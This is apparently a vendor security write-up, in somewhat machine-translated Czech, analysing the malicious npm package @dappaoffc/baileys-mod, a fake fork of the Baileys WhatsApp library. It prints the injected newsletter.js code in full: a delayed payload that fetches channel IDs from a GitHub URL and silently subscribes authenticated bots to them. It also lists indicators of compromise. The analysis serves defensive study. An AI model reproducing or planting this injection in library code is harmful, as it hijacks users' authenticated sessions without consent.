TL, DR
Jedno Bezpečnostní výzkumný tým Xygeni identifikoval škodlivý balíček npm, @dappaoffc/baileys-mod, publikovaný jako fork široce používané knihovny WhatsApp Web API @whiskeysockets/baileys.
Počínaje verzí 8.0.1 obsahuje tento škodlivý npm balíček injekci běhového kódu uvnitř lib/Socket/newsletter.jsVložená logika tiše přihlásí vývojáře k odběru útočníkem ovládaných newsletterových kanálů ověřených relací WhatsApp bota.
Datová část se aktivuje 80 sekund po načtení modulu a dynamicky načítá seznam cílů z GitHubu, což způsobuje, že se chování samoaktualizuje a je obtížné ho odhalit analýzou během instalace.
Technický přehled
Během rutinního monitorování nově publikovaných závislostí zjistil bezpečnostní výzkumný tým Xygeni anomální chování v @dappaoffc/baileys-mod, později potvrzeno jako škodlivý balíček npm zaměřené na ekosystém botů WhatsApp.
Na rozdíl od červů kradoucích přihlašovací údaje nebo ransomwarových dropperů tento škodlivý npm balíček zneužívá vztah důvěry mezi vývojářem a běžně forkovanou open source knihovnou.
Balíček se prezentuje jako upravená verze Baileys, populární implementace WhatsApp Web API široce používaná k vytváření automatizačních botů. V rámci tohoto ekosystému je instalace forků běžnou praxí. Útočník tak využil realistický distribuční model, spíše než aby zneužil zranitelnost.
Důležité:
- Jedno Předinstalační skript ověřuje pouze verzi Node.js.
- Během instalace nedochází k žádnému odebrání přihlašovacích údajů.
- Nezobrazuje se žádná podezřelá aktivita po instalaci
- Injekce se provádí výhradně za běhu.
Kvůli tomuto designu by skenery prováděné během instalace nezjistily škodlivé chování.
Mechanismus běhového vstřikování uvnitř škodlivého balíčku npm
Škodlivá logika uvnitř tohoto škodlivého balíčku npm se nachází v lib/Socket/newsletter.js, vložený přímo do kontextu spuštění modulu.
Útočník zabalil vložený blok do výrazu IIFE (Immediately Invoked Function Expression), který zaručuje spuštění ihned po načtení modulu.
Nicméně místo okamžitého spuštění zavádí datová část mechanismus zpožděného provádění:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
Po uplynutí zpoždění provede užitečné zatížení řízenou sekvenci:
- Načte JSON soubor z URL adresy nezpracovaného obsahu GitHubu.
- Analyzuje seznam ID newsletterů WhatsApp.
- Prochází seznamem.
- Vyzývá
newsletterWMexQuery(id, QueryIds.FOLLOW)pro každý záznam. - Prostory požadují s pětisekundovým odstupem, aby se snížila detekce limitu rychlosti.
- Tiše potlačuje všechny chyby za běhu.
Protože kód volá interní knihovní funkce spíše než externí skripty, výsledný provoz se jeví jako nerozeznatelný od legitimních akcí iniciovaných uživatelem. WhatsApp je Z hlediska protokolu se bot dobrovolně přihlásil k odběru těchto kanálů.
Technické srovnání: Legitimní vs. injekčně aplikované chování
| Složka | Legitimní chování | Škodlivá injekce |
|---|---|---|
| Fáze instalace | Ověřuje pouze verzi Node.js | Žádné viditelné škodlivé chování během instalace |
| Inicializace modulu | Továrna na export socketů WhatsApp | IIFE se spouští automaticky při načtení modulu |
| Načasování provedení | Žádné opožděné chování | 80sekundová zpožděná aktivace |
| Síťová komunikace | Komunikuje pouze přes protokol WhatsApp WebSocket | Odchozí načítání nezpracovaného obsahu na GitHub (kanál dynamického řízení) |
| Akce v newsletteru | Žádosti o předplatné iniciované uživatelem | Automatizované požadavky FOLLOW přes interní knihovní API |
| Vypořádání se s chybou | Šíří provozní chyby | Tiše potlačí všechny výjimky |
Dynamický řídicí kanál přes GitHub
Seznam ID newsletteru je hostován na adrese:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
Tato konstrukce nabízí několik provozních výhod:
- Dynamické aktualizace datových částí bez publikování nové verze npm
- Důvěryhodný TLS endpoint, který se začlení do běžného provozu vývojářů
- Není vyžadována žádná infrastruktura spravovaná útočníkem
- Perzistence napříč již nasazenými boty
Protože se injekce provádí uvnitř rozsahu továrny, znovu používá interní uzávěry, jako například newsletterWMexQuery a delay bez importu externích modulů. To minimalizuje zabíranou plochu a zvyšuje nenápadnost.
GitHub v podstatě funguje jako odlehčený kanál pro distribuci příkazů.
Alias závislosti a atribuční signály
Metadata balíčku obsahují následující alias závislosti:
"libsignal": "npm:@skyzopedia/libsignal-node"
Toto přesměruje kritickou kryptografickou závislost na útočníkem ovládaný rozsah npm.
Metadata navíc zosobňují původní projekt odkazem na původního autora a repozitář. To zvyšuje vnímanou legitimitu a snižuje kontrolu během běžného přezkoumání.
Tyto signály naznačují spíše úmyslné prolínání ekosystémů než oportunistická manipulace.
Indikátory kompromitace tohoto škodlivého balíčku npm
Bezpečnostní týmy vyšetřující tento škodlivý balíček npm by měly vyhodnotit následující signály:
Síťové signály
- Odchozí GET požadavky pro
raw.githubusercontent.comz procesů bota WhatsAppu - Akce SLEDOVÁNÍ newsletteru probíhají bez nutnosti jejich spuštění aplikační logikou.
Signály balíčků
@dappaoffc/baileys-modverze 8.0.1 (a potenciálně 8.0.0)- Přesměrování aliasu závislostí
libsignal - Běhová injekce IIFE uvnitř
newsletter.js
Behaviorální signály
- Požadavky na sledování rozložené v pětisekundových intervalech
- Žádná interakce s uživatelem před odběrem newsletteru
- Potlačení tichých chyb uvnitř kódu základní knihovny
Na rozdíl od tradičního malwaru tento útok nevyžaduje odcizení přihlašovacích údajů. Ke zneužití dochází výhradně v kontextu již ověřené relace.
Detekce a zmírňování následků pomocí Xygeni
Tento případ ilustruje, proč pouhá kontrola při instalaci nestačí. Škodlivé chování se spouští po načtení modulu a skrývá se uvnitř legitimní obchodní logiky.
Včasné varování před malwarem (MEW) od Xygeni detekoval tento balíček korelací více signálů, spíše než spoléháním se na jediný podpis.
Statická analýza s plným zdrojovým kódem
MEW kontroluje kompletní zdrojové stromy balíčků, nejen skripty životního cyklu.
V tomto případě detekční signály zahrnovaly:
- Nečekané
fetch()hovor uvnitř základního modulu WhatsAppu - Odchozí komunikace do nezpracovaného obsahu GitHubu
- Zpožděné vzorce provádění zabudované v běhové logice
- Vnořené tiché zpracování chyb
Jednotlivě se tyto vzorce mohou jevit jako neškodné. Kombinovaná analýza však odhaluje anomální chování, které je v rozporu s legitimním Baileysovým vidličkou.
Korelace rizika závislosti
Jedno libsignal alias spustil dodatečné zkoumání, protože přesměrovává citlivou závislost na neověřený rozsah.
Xygeni koreluje:
- Signály reputace vydavatele
- Nesrovnalosti vlastnictví rozsahu
- Přesměrování závislostí na kryptografické knihovny
- Indikátory zosobnění metadat
Tato vrstvená analýza snižuje falešně pozitivní výsledky a zároveň identifikuje zneužití důvěry.
Řízení dodavatelského řetězce s ohledem na běhové prostředí
Protože se tento škodlivý balíček npm spouští za běhu, účinná obrana vyžaduje analýzu s ohledem na chování.
Xygeni vyhodnocuje:
- Mechanismy zpožděného provádění
- Zneužití interního API
- Odchozí síťová volání uvnitř kódu závislostí
- Anomální tok řízení uvnitř knihoven třetích stran
Kromě toho, Guardrails politiky v CI/CD umět:
- Blokování neočekávaných odchozích volání během sestavení
- Detekce podezřelých změn v grafu závislostí
- Vynucení omezení přesměrování rozsahu
- Vzory pro dynamické načítání datových dat
Proto se omezení nespoléhá pouze na odstranění z registru.
Proč je tento škodlivý balíček npm důležitý pro bezpečnost dodavatelského řetězce
Tento škodlivý balíček npm odráží strukturální posun ve zneužívání dodavatelského řetězce:
- Spouštění za běhu místo datových částí za instalace
- Dynamické řídicí kanály hostované na důvěryhodných platformách
- Zneužití legitimních interních API
- Falšování metadat k napodobení správců upstreamu
Útočník nezneužil softwarovou zranitelnost. Místo toho zneužil důvěru ve forky a aktualizace závislostí.
Detekce proto vyžaduje úplnou kontrolu zdrojového kódu, korelaci rizik závislostí a analýzu za běhu, nejen skenování skriptů.







